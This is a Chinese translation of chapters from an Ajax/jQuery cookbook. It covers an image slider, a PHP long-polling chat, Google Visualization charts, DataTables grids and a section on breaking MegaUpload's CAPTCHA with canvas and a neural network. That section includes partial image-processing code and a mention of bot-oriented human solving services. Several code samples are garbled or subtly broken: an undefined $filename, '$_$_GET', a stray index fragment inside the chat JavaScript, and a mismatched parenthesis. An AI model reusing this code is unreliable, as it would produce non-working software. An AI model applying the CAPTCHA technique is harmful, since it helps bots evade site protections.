</div>

  1. 在这个任务中,CSS 代码非常重要:
<style>
.slideBox { width:900px; float:left; margin:0px; text-align:center; margin-bottom:50px; }
#slider1 { height:400px; width:800px; margin:0 auto; }
.mslider { border:1px solid black; position:relative;
overflow:hidden; text-align:left; }
.mslider ul { float:left; margin-left:0px; width:8000px;}
.mslider ul li { float:left; list-style-type: none;
margin:0px; }
.mslider .navContainer { display:none; position:absolute; bottom:0; left:0; background-color:#000;
width:100%; height:80px; color:white; }
.mslider .buttonsContainer { float:right; color:white;
margin-right:10px; margin-top:10px; font-weight:normal;
text-decoration:none; }
.mslider .buttonsContainer a { margin:5px; color:white;
font-weight:normal; text-decoration:none;
text-shadow:5px 5px 5px #000000; }
.mslider .buttonsContainer .button { cursor:pointer;
margin-left:10px; }
.mSlide-nav-panel { position:absolute; bottom:0; left:0; }
</style>

  1. 最后,JavaScript 功能:
<script>
var activeItem = 0;
var itemsNb = 0;
$(document).ready(function(){
preloadPictures(activeItem);
$('#slider1').hover(function(){
$(this).find('.navContainer').fadeIn('200');
}, function(){
$(this).find('.navContainer').fadeOut('200');
});
// our JS goodness
$('.btnPrev').bind('click', function(){
moveTo(activeItem-1);
});
$('.btnNext').bind('click', function(){
moveTo(activeItem+1);
});
itemsNb = $('#slider1 > ul > li').length;
});
var preloadPictures = function(activeItem){
for(var i = (activeItem == 0) ? 0:1; i < 2; i++){
var $activeItem = $(".mslider ul li").eq(activeItem+i);
var imageNextName = $activeItem.attr('title');
if(imageNextName!=""){
var $imageNext =
$('<img src="images/'+imageNextName+'" />');
$activeItem.html("");
$imageNext.appendTo($activeItem);
}
}
}
var moveTo = function ( itemNumber ){
var $btnPrev = $('.btnPrev');
var $btnNext = $('.btnNext');
var $mSliderList = $('#slider1 > ul');
var $mSliderItem = $('#slider1 > ul > li');
var margin = itemNumber * $mSliderItem.width();
$mSliderList.animate({ marginLeft: "-" + margin + "px" }, 500 );
activeItem = itemNumber;
// hide 'prev' button if the active item is #1
activeItem == 0 ? $btnPrev.hide():$btnPrev.show();
// hide 'next' button if the active item is the last item
activeItem == (itemsNb-1)?$btnNext.hide():$btnNext.show();
}
</script>

  1. 前面源代码的结果是一个简单的图像滑块:如何做...

它是如何工作的...

滑块有两个主要对象——包含图像的列表和导航。导航包含(上一个,下一个)按钮,用于更改当前图像。单击其中一个按钮后,我们调用moveTo()函数。该函数会动画显示滑动列表的左边距:

$mSliderList.animate({ marginLeft: "-" + margin + "px" }, 500 );

当动画完成时,我们检查导航按钮的可见性,如下所示:

// hide 'prev' button if the active item is #1
activeItem == 0 ? $btnPrev.hide():$btnPrev.show();
// hide 'next' button if the active item is the last item
activeItem == (itemsNb-1)?$btnNext.hide():$btnNext.show();

滑块使用preloadPictures()函数动态预加载所需的图片。当页面首次加载时,我们将把前两张图片加载到滑块中。第一张图片被显示,第二张图片被准备好进行平滑滑动。点击下一个按钮后,我们将再次调用preloadPictures()函数,预加载另一张图片到列表中。这将为下一张幻灯片做准备,如下所示:

var preloadPictures = function(activeItem){
/**
* logic for the preloading loop. If the page is loaded
* for the first time, we need to load two pictures.
* This will provide a smooth sliding
* from picture 1.jpg to 2.jpg
**/
for(var i = (activeItem == 0) ? 0:1; i < 2; i++){
var $activeItem = $(".mslider ul li").eq(activeItem+i);
var imageNextName = $activeItem.attr('title');
if(imageNextName!=""){
var $imageNext =
$('<img src="images/'+imageNextName+'" />');
$activeItem.html("");
$imageNext.appendTo($activeItem);
}
}
}

还有更多...

我们可以在一个滑块中结合更多的动画。现在,我们将创建一个描述列表,为当前幻灯片提供单独的信息。我们将修改navContainer:

<div class="navContainer">
<div class="descContainer">
<ul class="descList">
<li>
<div class="title">Dotique.sk</div>
<div class="desc">PSD to HTML, CSS, ...</div>
<div class="url">
<a href="/my-work/dotique-sk/">
Read more &gt;&gt;</a>
</div>
</li>
<li>...</li>
<li>
<div class="title">Tatrawell.com</div>
<div class="desc">PSD to HTML, CSS, ...</div>
<div class="url">
<a href="/my-work/tatrawell/">
Read more &gt;&gt;</a>
</div>
</li>
</ul>
</div>
<div class="buttonsContainer">...</div>
</div>

我们还将对我们的 CSS 进行以下添加:

.mslider .descContainer { position:relative; width:580px; height:80px; overflow:hidden; float:left; margin:10px; color:white; }
.mslider ul.descList { float:left; width:600px; height:80px; color:white; }
.mslider ul.descList li { float:left; width:600px; height:80px; }

接下来,我们将扩展moveTo()函数,如下所示:

var navHeight = $('.navContainer').height();
var marginDescList = (itemNumber * navHeight);
$('.descList').animate({
marginTop: "-" + marginDescList + "px"
}, 500 );

现在,我们已经实现了一个具有专业外观的漂亮的图像/内容滑块:

还有更多...

第四章.高级工具

在本章中,我们将涵盖以下主题:

  • 使用 Comet 技术构建 Ajax 聊天系统

  • 使用 JavaScript 绘制图表

  • 通过画布解码验证码

  • 在网格中显示数据

在本章中,我们将看看如何使用 Comet 技术构建一个简单的 Ajax 聊天应用程序。Comet是 Web 应用程序中的一种技术,可以在不需要客户端显式请求的情况下从 Web 服务器向客户端推送数据。在这个应用程序中,我们将使用这种简单的 Comet 技术,将聊天消息从服务器推送到浏览器,而不使用任何特殊的 Comet 服务器。

使用 JavaScript 绘制图表部分,我们将看看如何使用 Google Visualization API 来使用 JavaScript 构建交互式图表。

之后,我们将展示如何使用 Firefox Greasemonkey 脚本,通过画布来解码浏览器上的简单验证码。

注意

这里使用的聊天应用程序不使用任何 Comet 服务器,如 APE(www.ape-project.org)或 Livestreamer(www.livestream.com)。我们在这里只是试图展示如何使用 Ajax 进行长轮询,而不是传统的轮询来从服务器获取信息。

使用 Comet 技术构建 Ajax 聊天系统

现在,让我们看看如何使用长轮询技术构建一个简单的 Ajax 聊天系统。我们大部分使用了 JavaScript 的 jQuery 框架来编写 JavaScript 代码。在传统的 Ajax 轮询系统中,会定期向服务器发送请求;因此,无论是否有新数据,服务器都必须处理 HTTP 请求。但是在 Ajax 中,使用长轮询技术,请求会一直保持开放,直到服务器有新数据发送到浏览器。

然而,在我们的聊天示例中,我们将 Ajax 请求保持开放 90 秒。如果服务器没有收到新的聊天消息,连接将被关闭,并打开一个新的 Ajax 轮询。

准备工作

首先,让我们看看这个应用程序的界面是什么样子的:

准备工作

这个聊天工具有一个非常简单的界面。您需要设置一个用户名来发送聊天消息。

如何做...

与这个 Comet 聊天系统相关的代码有不同类型。让我们逐个部分来看:

  1. 以下 HTML 代码构成了聊天系统的布局:
<form name="chatform" id="chatform">
<div id="chatwrapper">
<h2>Ajax Chat Utility</h2>
<div>
User Name: <input id="username" type="text" maxlength="14" />
</div>
<div id="chattext" class="chatbox"> </div>
<div>
<input id="message" name="message" type="text" maxlength="100" />
<input type="submit" name="submit" id="send" value="Send" />
</div>
</div>
</form>

  1. 现在让我们看看保存消息到文本文件并保持 Ajax 请求开放直到文件中保存了新消息的 PHP 代码。您可以在chat-backend.php文件中找到这段代码。
//set the maximum execution time to 90 seconds
set_time_limit(91);
//make sure this file is writable
$file_name = 'chatdata.txt';
//get the script entrance time
$entrance_time = time();
// store new message in the file
//used for ajax call to store the mesage
if(!empty($_GET['msg']) && !empty($_GET['user_name']))
{
$user_name = htmlentities($_GET['user_name'],ENT_QUOTES);
$message = htmlentities(stripslashes($_GET['msg']),ENT_QUOTES);
$message = '<div><b>'.$user_name.'</b> : '.$message.'</div>';
file_put_contents($file_name,$message);
exit();
}
//user for getting chat messages
// infinite loop until the data file is not modified
$last_modif = !empty($_GET['ts']) ? $_GET['ts'] : 0;
$curr_ftime = filemtime($filename);
//now get the difference
while ($curr_ftime <= $last_modif && time()-$entrance_time<90) // check if the data file has been modified
{
//sleep for 500 micro seconds
usleep(500000);
//clear the file status cache
clearstatcache();
//get the file modified time
$curr_ftime = filemtime($file_name);
}
// return a json encoded value
$response = array();
$response['msg'] = file_get_contents($file_name);
$response['ts'] = $curr_ftime;
echo json_encode($response);

  1. 现在,让我们看看使聊天功能生效的 JavaScript 代码。
var Comet ={
ts : 0 ,
url : 'chat-backend.php',
//to display the response
show_response : function(message){
$('#chattext').append(message);
$('#chattext').scrollTop( $('#chattext').attr('scrollHeight') );
},
//validation fuction for empty user name or message
validate : function()
{
if($.trim( $('#username').val() )=='')
{
alert('Please enter the username');
return false;
}
else if($.trim( $('#message').val() )=='')
{
alert('Please enter chat message');
return false;
}
else
{
return true;
}
},
send_message : function()
{
if(this.validate())
{
var request_data = 'user_name='+$('#username').val()+'&msg='+$('#message').val();
var request_url = this.url+'?'+request_data;
//make the ajax call
$.get(request_url);
$('#message').val('');
$('#message').focus();
}
cometused, for building Ajax chat},
connect : function()
{
//call the ajax now to get the response
$.ajax({
url: this.url,
data: 'ts='+this.ts,
cache : false,
dataType : 'json',
success: function(data){
//only add the response if file time has been modified
if(data.ts>Comet.ts)
{
Comet.ts = data.ts;
Comet.show_response(data.msg);
}
Comet.connect();
},
error : function(data)
{
//wait for 5 second before sending another request
setTimeout(function(){
Comet.connect()
}, 5000);
}
});
}
};
//event handler for DOM ready
$(document).ready(function()
{
//call the comet connection function
Comet.connect();
//submit event handlder of the form
$('#chatform').submit(function()
{
Comet.send_message();
return false;
});
});

它是如何工作的...

现在,让我们看看这个 Ajax 聊天是如何与 Comet 实现一起工作的。它的一些方面如下:

  1. 将聊天消息保存到文件中:

聊天消息被保存到文件中。在我们的应用程序中,只有最新的聊天消息被保存到文件中。之前的聊天消息被最新消息替换。

$user_name = htmlentities(stripslashes($_$_GET['user_name']),ENT_QUOTES);
$message = htmlentities(stripslashes($_GET['msg']),ENT_QUOTES);
$message = '<div><b>'.$user_name.'</b> : '.$message.'</div>';
file_put_contents($file_name,$message);

消息的特殊字符被转换为 HTML 实体,以转换 HTML 特殊字符并避免聊天字符串中的格式错误。然后,带有用户名的消息存储在$file_name变量中。

  1. 使用长 Ajax 轮询实现 Comet:

现在,让我们看看我们如何使用长 Ajax 轮询实现 Comet。

$entrance_time = time();

在代码的第一行,我们将 PHP 脚本的进入时间存储在$entrance_time变量中,以防止脚本执行超过 90 秒,如下所示:

set_time_limit(91);

chat-backend.php代码的第一行中,我们将脚本的最大执行时间设置为91(秒),这样 PHP 在脚本的长时间执行时不会抛出致命错误;因为默认情况下,PHP 脚本的max_execution_timephp.ini文件中设置为30

现在,让我们来看看主要的while循环,它会阻塞 Ajax 调用,直到接收到新的聊天消息为止:

$last_modif = !empty($_GET['ts']) ? $_GET['ts'] : 0;
$curr_ftime = filemtime($filename);
while ($curr_ftime <= $last_modif && time()-$entrance_time<90) {
usleep(500000);
clearstatcache();
$curr_ftime = filemtime($file_name);
}

我们将最后一次文件修改时间值存储在$last_modif变量中,将当前文件修改时间存储在$curre_ftime变量中。while循环一直执行,直到满足两个条件:第一个条件是文本文件的最后修改时间应大于或等于当前文件修改时间,第二个条件检查脚本执行时间是否达到 90 秒。因此,如果文件已被修改或脚本执行时间为 90 秒,则请求完成并将响应发送到浏览器。否则,请求将被长时间的 Ajax 轮询阻塞。

在 JavaScript 端,当 DOM 准备好进行操作时,我们调用Comet.connect()函数。此函数向chat-backend.php文件发出 Ajax 请求。现在,让我们看看这里如何处理 Ajax 响应:

success: function(data){
if(data.ts>Comet.ts)
{
Comet.ts = data.ts;
Comet.show_response(data.msg);
}
Comet.connect();
},
error : function(data)
{
setTimeout(function(){
Comet.connect()
}, 5000);
}

当我们收到成功的 Ajax 响应时,我们会检查文件修改时间是否大于发送到服务器进行检查的时间戳。如果文件的修改时间已经改变,则满足此条件。在这种情况下,我们将ts变量赋值为文件修改时间的当前时间戳,并调用show_response()函数将最新的聊天消息显示给浏览器。然后立即调用Comet.function()

如果 Ajax 请求出现错误,它会在发送另一个请求到connect()函数之前等待 5 秒。

  1. 显示响应:

现在,让我们看一下响应是如何显示的:

show_response : function(message){
$('#chattext').append(message);
$('#chattext').scrollTop( $('#chattext').attr('scrollHeight') );
},

在这个函数中,我们将 Ajax 响应附加到具有 IDchattextdiv。之后,我们将scrollTop的值(如果存在滚动条,则表示滚动条的垂直位置)设置为scrollHeightScrollHeight属性给出元素的滚动视图的高度。

使用 JavaScript 制作图表

在本节中,我们将看一个示例,演示如何使用 Google 可视化的 JavaScript API 创建交互式图表。Google 可视化 API提供了一组强大的函数,用于创建不同类型的图表,如饼图、折线图、条形图等。在本节中,我们将简要地看一下如何使用此 API 来创建它们。

准备就绪

现在,让我们看一下使用 Google 可视化 API 创建不同样式的图表的基本步骤。我们将看一个示例,在其中我们在页面上创建条形图、折线图和饼图。现在,让我们通过使用可视化 API 来创建图表的初步步骤。

  1. 放置图表容器:

首先,我们需要在网页中放置一个包含图表的 HTML 元素。通常,它应该是一个块级元素。让我们从流行的块级元素

开始,如下所示:

<div id="chart"></div>

请确保为此 HTML 元素分配一个 ID 属性,因为可以使用document.getElementById() JavaScript 函数传递此元素的引用。

  1. 加载 Google 可视化 API:

创建图表容器后,让我们尝试在这里加载 Google 可视化 API,如下所示:

<script type="text/javascript" src="https://www.google.com/jsapi"></script>

在前面的代码片段中,我们在网页中包含了 Google JavaScript API。在包含 JavaScript 文件之后,我们现在需要加载 Google API 的可视化模块:

google.load("visualization", "1", {packages:["corechart"]});

load()函数中,第一个参数是我们想要加载的模块的名称;在我们的情况下是visualization模块。第二个参数是模块的版本;这里是 1 是最新版本。在第三个参数中,我们指定了从模块中加载哪个特定的包。在我们的情况下,是corechart包。corechart库支持常见图表类型,如条形图、折线图和饼图。

一旦 JavaScript 库完全加载,我们需要使用 JavaScript API 的函数。为了帮助解决这种情况,Google 的 JavaScript API 提供了一个名为 setOnloadCallback()的函数;它允许我们在特定模块加载时添加回调函数:

google.setOnLoadCallback(draw_line_chart));

在上面的例子中,当 Google Visualization 库加载时,会调用名为draw_line_chart的用户定义函数。

学习如何加载 Google Visualization API 之后,让我们看一下绘制柱状图、折线图和饼图的示例。

工作原理...

现在,让我们看看使用可视化 API 创建的不同图表的外观:

工作原理...

绘制折线图

现在我们知道创建的图表是什么样子的,让我们首先创建折线图。可以在上面的图像中看到折线图。完整的代码可以在代码包中提供的line-chart.html文件中找到。现在,让我们逐步创建折线图。

在本节中,我们将看到如何创建线图,以显示世界上两个主要城市纽约和伦敦的人口增长,并将它们与线图进行比较。

  1. 为图表准备数据:
  • 为了为图表准备数据,我们首先需要将数据存储在 Google Visualization API 中的DataTable类的对象中,以表示数组的二维数据。
var data = new google.visualization.DataTable();

  • 现在,下一步是为图表添加列。我们在图表上显示两条线,显示纽约和伦敦的人口增长,以十年为单位。为此,我们需要使用addColumn()函数为DataTable对象创建三列:
data.addColumn('string', 'Year');
data.addColumn('number', 'New York');
data.addColumn('number', 'London');

  • 接下来,使用addRows()函数创建三行空行。您还可以将数组传递给addRows()函数,以创建带有数据的行。我们将在创建柱状图时看到如何做到这一点。
data.addRows(3);

  • 在创建空行之后,让我们使用setValue()函数在这些空行上设置值,如下所示:
data.setValue(0, 0, '1980');
data.setValue(0, 1, 7071639);
data.setValue(0, 2, 6805000);
data.setValue(1, 0, '1990');
data.setValue(1, 1, 7322564);
data.setValue(1, 2, 6829300);
data.setValue(2, 0, '2000');
data.setValue(2, 1, 8008278);
data.setValue(2, 2, 7322400);

setValue()函数的第一个和第二个参数表示矩阵的行和列。例如,值1,2表示矩阵的第二行和第三列。

  1. 显示折线图:

在 data 变量中创建图表数据后,现在创建并显示图表:

var chart = new google.visualization.LineChart(document.getElementById('chart'));

在上面的代码中,我们正在使用 Google Visualization API 的 LineChart()函数在 ID.chart 的 div 中创建折线图。现在,图表对象已经创建,并且可以在 chart 变量中使用。

chart.draw(data, {width: 600, height: 360, title: 'Population by Years'});

现在,使用 draw()函数绘制图表,该函数接受两个参数:

图表是自动在 X 轴和 Y 轴上表示各自的值。

绘制柱状图

在本节中,我们将看到如何使用 Google Visualization API 绘制柱状图。在这个例子中,我们将使用与前一个例子中相同的数据来可视化伦敦和纽约的人口增长。

这个图表可以在上面图像的右侧看到。

  1. 准备数据:

让我们看一下使用柱状图可视化创建数据的代码。为了保存图表数据,我们需要创建DataTable()类的实例,如下所示:

var data = new google.visualization.DataTable();
data.addColumn('string', 'Year');
data.addColumn('number', 'New York');
data.addColumn('number', 'London');
data.addRows([
['1980', 7071639,6805000],
['1990', 7322564,6829300],
['2000', 8008278,7322400]
]);

如前面的代码中所示,在为数据表添加列之后,我们使用addRows()函数添加了行。我们之前以不同的方式使用了这个函数,创建了空行。在这里,它将直接创建三行,带有数组的数据。

  1. 显示柱状图:

准备好数据后,让我们在网页上绘制它:

var chart = new google.visualization.ColumnChart(document.getElementById('chart'));
chart.draw(data, {width: 600, height: 360, title: 'Population by Years', hAxis: {title: 'Year'} , vAxis : {title: 'Population'}
});

我们正在绘制一个宽度为 600 像素,高度为 360 像素的条形图,使用object ColumnChart()类。使用hAxisvAxix选项,我们在水平轴上显示标签Year,在垂直轴上显示标签Population。您可以在code.google.com/apis/chart/interactive/docs/gallery/columnchart.html了解有关柱状图 API 的更多选项。

提示

BarChart()类也在 Google Visualization API 中可用,但它创建的是水平条形图。您可以在code.google.com/apis/chart/interactive/docs/gallery/barchart.html找到更多关于这种类型图表的信息。

绘制 3D 饼图

在这一部分,我们将看到如何使用 Google Visualization API 创建饼图。此示例生成的饼图显示在前图的左侧。

在这个例子中,我们将分解开发简单网站所需的时间,并使用饼图进行可视化。

  1. 准备数据:

让我们看看如何创建用于项目可视化的饼图数据。和往常一样,我们需要创建DataTable()类的实例来存储需要填充的数据。

var data = new google.visualization.DataTable();
data.addColumn('string', 'Phase');
data.addColumn('number', 'Hours spent');
data.addRows([
['Analysis', 10],
['Designing', 25],
['Coding', 70],
['Testing', 15],
['Debugging', 30]
]);

如您在上面的代码中所见,我们正在创建两列来存储项目不同阶段所花费的时间的数据。第一列是Phase,第二列是Hours spent(在项目的特定阶段花费的时间)。

  1. 展示饼图:

现在,让我们看一下实际的代码,它将在 ID 为 chart 的 div 上绘制饼图:

var chart = new google.visualization.PieChart(document.getElementById('chart'));
chart.draw(data, {width: 600, height: 360, is3D: true, title: 'Project Overview'});

在上面的代码中,首先创建了PieChart()类的对象。然后,使用draw()函数绘制图表。饼图是通过将第 2 列中给定的总小时数作为 100%来绘制的。请注意,我们将is3D选项设置为true,以显示 3D 饼图。

通过 canvas 解码 CAPTCHA

CAPTCHA(或Captcha)是Completely Automated Public Turing test to tell Computers and Humans Apart 的缩写,基于单词'capture'。它最初是由 Luis von Ahn,Manuel Blum,Nicholas J. Hopper 和 John Langford 创造的。CAPTCHA旨在阻止机器和机器人访问网页功能;通常放置在网页的注册表单中,以确保只有人类才能注册网站。通常,它基于计算机难以识别图像形式的文本。更多关于OCR(光学字符识别)的研究和先进技术正在削弱 Captcha 的概念,这反过来迫使对 Captcha 进行进一步研究。HTML5 的canvas元素通过 JavaScript 编程打开了通过解码的可能性。

注意

canvas元素是 HTML5 规范的一部分。它是由苹果在 WebKit 组件中引入的。之后,它被 Gecko 内核的浏览器采用,比如 Mozilla Firefox。目前,大多数浏览器都原生支持它或通过插件支持。早些时候,SVG 被推广为绘制形状的标准,但由于其速度和低级协议,canvas 变得更受欢迎。

准备工作

我们需要一个支持canvas的浏览器。一般来说,Firefox 和 Safari 内置支持 canvas。在 Internet Explorer 中显示 canvas,可能需要来自 Mozilla 或 Google 的插件。

注意

Google Chrome Frame(可在code.google.com/chrome/chromeframe/)找到)是一个插件,它将 Chrome 的 JavaScript 引擎添加到 Internet Explorer;它也支持canvas

explorercanvas(可在code.google.com/p/explorercanvas/)找到)是一个 JavaScript 库,添加后将canvas转换为 VML 并在 IE 上支持它。

如何做...

当一个由 Shaun 开发的 Greasemonkey 脚本能够识别 MegaUpload(文件共享网站)的验证码时,JavaScript 的 OCR 概念引起了人们的关注。对于文件共享网站,验证码是避免机器下载的一种方式,这可能来自竞争对手或盗版者。这里的 Greasemonkey 脚本使用了canvas及其通过 JavaScript 访问的能力。

注意

Greasemonkey 最初是一个 Firefox 扩展,用于在特定域和 URL 上执行用户脚本,当页面显示时改变外观或功能。现在,其他浏览器也开始在一定程度上支持 Greasemonkey 脚本。

完整的源代码可以在 Greasemonkey 的网站上找到—www.userscripts.org/scripts/review/38736。在这里,我们将使用canvas的 JavaScript 来审查这个概念:

  1. 验证码图像加载到canvas并通过getImageData()读取图像数据。

  2. 然后将图像转换为灰度。

  3. 图像进一步分成三部分,每部分一个字符。对于 MegaUpload 的验证码来说,这更容易,因为它的距离是固定的。

  4. 图像进一步处理以将其转换为两种颜色—黑色和白色

  5. 进一步裁剪分割的图像以获得一种受体。

  6. 然后将受体数据传递给神经网络以识别字符。神经网络数据预先使用以前运行的数据进行种植,以获得更好的匹配。

它是如何工作的...

以下图像显示了在 MegaUpload 网站上找到的一个示例验证码:

它是如何工作的...

在这里,描述的每个处理阶段对于更好地识别验证码至关重要:

  1. 将验证码图像加载到canvas

验证码图像通过 Greasemonkey 的 Ajax 调用加载到画布上以获取图像:

var image = document.getElementById('captchaform').parentNode.getElementsByTagName('img')[0];
GM_xmlhttpRequest( {
method: 'GET',
url: image.src,
overrideMimeType: 'text/plain; charset=x-user-defined',
onload: function (response) {
load_image(response.responseText);
}
});

  1. 将图像转换为灰度:
for (var x = 0; x < image_data.width; x++) {
for (var y = 0; y < image_data.height; y++) {
var i = x * 4 + y * 4 * image_data.width;
var luma = Math.floor(image_data.data[i] * 299 / 1000 + image_data.data[i + 1] * 587 / 1000 + image_data.data[i + 2] * 114 / 1000);
image_data.data[i] = luma;
image_data.data[i + 1] = luma;
image_data.data[i + 2] = luma;
image_data.data[i + 3] = 255;
}
}

如前面的代码块所示,图像数据是逐像素采取的。每个像素的颜色值取平均值。最后,通过调整颜色值将图像转换为灰度。

  1. 将图像转换为只有黑色和白色颜色:
for (var x = 0; x < image_data.width; x++) {
for (var y = 0; y < image_data.height; y++) {
var i = x * 4 + y * 4 * image_data.width;
// Turn all the pixels of the certain colour to white
if (image_data.data[i] == colour) {
image_data.data[i] = 255;
image_data.data[i + 1] = 255;
image_data.data[i + 2] = 255;
// Everything else to black
}
else {
image_data.data[i] = 0;
image_data.data[i + 1] = 0;
image_data.data[i + 2] = 0;
}
}
}

在这里,其他颜色可以称为“噪音”。通过保留只有黑色和白色颜色来去除“嘈杂”的颜色。

  1. 裁剪不必要的图像数据:

由于图像的尺寸固定且文本距离固定,矩阵的矩形大小设置为去除不必要的数据,因此图像被裁剪。

cropped_canvas.getContext("2d").fillRect(0, 0, 20, 25);
var edges = find_edges(image_data[i]);
cropped_canvas.getContext("2d").drawImage(canvas, edges[0], edges[1], edges[2] - edges[0], edges[3] - edges[1], 0, 0, edges[2] - edges[0], edges[3] - edges[1]);

  1. 应用神经网络:

ANN(人工神经网络)(或简称神经网络)是一种自学习的数学模型。它是一个自适应系统,根据其外部或内部信息流改变其结构。设计是模仿动物大脑的,因此每个处理器单元都有本地存储器和学习组件。

处理后的图像数据充当神经网络的受体。当传递给预先种植数据的神经网络时,它可以帮助我们找出验证码图像中的字符:

image_data[i] = cropped_canvas.getContext("2d").getImageData(0, 0, cropped_canvas.width, cropped_canvas.height);

根据验证码的复杂性,甚至可以在字符识别的最后一步使用线性代数。应用线性代数而不是神经网络可能会提高检测速度。但是,神经网络在各个方面表现相对更好。

还有更多...

Canvas还有其他有趣的应用。它预计将取代 Flash 组件。一些值得注意的画布应用程序如下:

  • CanvasPaint(canvaspaint.org/),界面类似于 MS Paint 应用程序

  • Highcharts(highcharts.com/)),一个使用canvas进行渲染的 JavaScript 图表 API

随机的验证码图像很难在没有人类干预的情况下破解。谷歌的

reCAPTCHA API围绕着使用数字化旧书的问题构建

OCR。当我们使用这个 reCAPTCHA API 时,它提供了一个带有 2 个文本的验证码:

  1. 随机“已知”的验证码文本

  2. 来自旧扫描书籍的“未知”文本-通过 OCR 很难辨认。用户填写这些验证码时,“已知”文本将用于验证。输入的文本与“未知”文本相匹配,用于数字化扫描的书籍。

一些网站提供 API 上的人类 Captcha 解码服务。验证码图像通过 API 上传;在另一部分,“数据输入”人类解码器将输入文本,然后将其发送回来。这些服务通常被自动机器人而不是人类使用。提供此类服务的一些网站如下:

在网格中显示数据

在 Web 2.0 网站中,“数据网格”一词通常指的是使用 HTML 表格的类似于电子表格/MS Excel 的显示。数据网格为用户提供了可用性和易于访问数据。数据网格的一些常见特性包括:

  • 能够对数据进行分页

  • 能够对列进行排序

  • 能够对行进行排序

  • 能够快速搜索或过滤数据字段

  • 能够拥有冻结/固定行或标题

  • 能够冻结列或标题

  • 能够突出显示任何感兴趣的列

  • 能够从不同的数据源加载,如 JSON、JavaScript 数组、DOM 和 Hijax

  • 能够将数据导出到不同的格式

  • 能够打印格式化数据

准备工作

我们将需要来自datatables.net/的 DataTables jQuery 插件,以及 jQuery 核心。根据我们的需求,有时我们可能需要额外的插件。

如何做...

在简单的实现中(不使用任何其他数据源),将数据显示在 HTML 表格中就足够了。DataTables,不使用任何插件和额外选项,可以将其转换为类似电子表格的 UI,如下面的屏幕截图所示:

如何做...

在 HTML 表格中,以正常的表格格式显示数据就足够了。在这里,我们使用以下代码显示具有姓名、电话号码、城市、邮政编码和国家名称的用户记录:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="css/style.css" />
<script src="js/jquery.js" type="text/javascript">
</script>
<script src="js/jquery.dataTables.min.js" type="text/javascript">
</script>
<script src="js/script.js" type="text/javascript">
</script>
<title>jQuery DataTables</title>
</head>
<body>

<table id="grid" cellpadding="0" cellspacing="0" border="0"
class="display">
<thead>
<tr>
<th>Name</th>
<th>Phone</th>
<th>City</th>
<th>Zip</th>
<th>Country</th>
</tr>
</thead>
<tbody>
<tr>
<td>Garrett</td>
<td>1-606-901-3011</td>
<td>Indio</td>
<td>Q3R 3C6</td>
<td>Guatemala</td>
</tr>
<tr>
<td>Talon</td>
<td>1-319-542-9085</td>
<td>Kent</td>
<td>51552</td>
<td>Slovakia</td>
</tr>
</tr>
...
<tr>
<td>Bevis</td>
<td>1-710-939-1878</td>
<td>Lynwood</td>
<td>49756</td>
<td>El Salvador</td>
</tr>
<tr>
<td>Edward</td>
<td>1-431-901-7662</td>
<td>Guthrie</td>
<td>95899</td>
<td>Singapore</td>
</tr>
</tbody>
<tfoot>
<tr>
<th>Name</th>
<th>Phone</th>
<th>City</th>
<th>Zip</th>
<th>Country</th>
</tr>
</tfoot>
</table>
</body>
</html>

注意:在原始代码中,我们有 100 行。在这里,为简洁起见,许多行被剪掉了。

像往常一样,只需通过 jQuery 插件调用附加数据网格行为即可:

jQuery(document).ready(function($){
 $('#grid').dataTable(); 

});

它是如何工作的...

DataTables 解析 HTML 表格中的数据,并将其保存在 JavaScript 对象数组中。在需要时,它会在其 HTML 模板中呈现内容。如前面的屏幕截图所示,它添加了一个搜索框、分页链接和一个下拉菜单,用于选择每页显示的记录数。包含在thead元素中的表头使用排序图标和链接进行装饰。当在搜索框中输入任何文本时,它会扫描保存的对象数组并重新绘制网格。对于快速将普通数据表转换为网格,这可能是相当足够的,但是 DataTables 除了选项和插件之外还提供了许多其他功能。

当需要关闭 DataTables 提供的某些功能时,我们可以通过选项来具体禁用它们,如下所示:

$('#grid').dataTable({
'bPaginate':false,
'bSort':false
});

在这里,我们已禁用了分页元素和排序功能。同样,我们可以禁用任何其他功能。当我们不需要网格功能时,最好不要初始化 DataTables,而不是使用选项禁用功能,因为这会影响性能。

DataTables 的默认配置与 jQuery UI 主题框架不兼容;为了使其兼容,我们必须将bJQueryUI标志设置为true:

$('#grid').dataTable({
'bJQueryUI': true
});

这样做的主要优势是更容易为所有 JavaScript 组件提供一致的主题/外观。

当用户滚动数据时,我们可能希望提供冻结的标题,以便值能够轻松地进行对应。为此,DataTables 提供了FixedHeader附加组件。设置固定标题很容易:

var oTable = $('#grid').dataTable();
new FixedHeader(oTable);

使用 jQuery 的插件架构,我们可以轻松扩展 DataTables,从而添加任何网格功能。

还有更多...

不同的数据网格插件提供不同的用户界面和不同的功能。了解它们的区别总是很好的。有时,在一个繁重的 Ajax 网站上,我们可能想要显示数百万条记录。让我们看看有哪些工具可用于这些目的:

其他数据网格插件

我们有很多 jQuery 插件可用于数据网格。其中,以下是相对受欢迎并提供许多功能的:

当需要类似于这些插件中的任何一个的用户界面时,明智的做法是使用它们,而不是自定义 DataTables,如前一节所述。

显示数百万条数据项

在撰写本文时,并非所有数据网格实现都能容纳大量记录,除了 SlickGrid。有关其无限行的补丁和讨论可在github.com/mleibman/SlickGrid/tree/unlimited-rows找到。

第五章:调试和故障排除

在这一章中,我们将涵盖以下主题:

  • 使用 Firebug 和 FirePHP 进行调试

  • 使用 IE 开发者工具栏进行调试

  • 避免框架$冲突

  • 使用 JavaScript 的匿名函数

  • 修复 JavaScript 中的内存泄漏

  • 修复内存泄漏

  • 顺序化 Ajax 请求

如果您不知道如何有效地使用 Ajax 进行调试,调试和故障排除可能会给您带来很大的麻烦。在本章中,我们将学习一些工具和技术来调试和故障排除 Ajax 应用程序。

首先,我们将研究为 Mozilla Firefox 浏览器构建的强大工具—Firebug 和 FirePHP。这两个工具可能是用于调试 Ajax 请求和响应最受欢迎的工具。在接下来的部分中,我们将研究另一个重要但不太复杂的工具—IE 开发者工具栏。

之后,我们将研究一种避免在单个网页中同时使用 jQuery 和 Mootools 时常见的美元($)冲突的技术。

我们还将研究如何对 Ajax 应用程序的 Ajax 请求进行排序,这些应用程序需要定期更新数据。然后,我们将研究如何使用 Douglas Crockford 的 JSMin 或 Dean Edward 的 Packer 工具压缩的 JavaScript 的美化工具。最后,在本章中,我们将研究跨浏览器实现 Ajax 的技巧。

注意

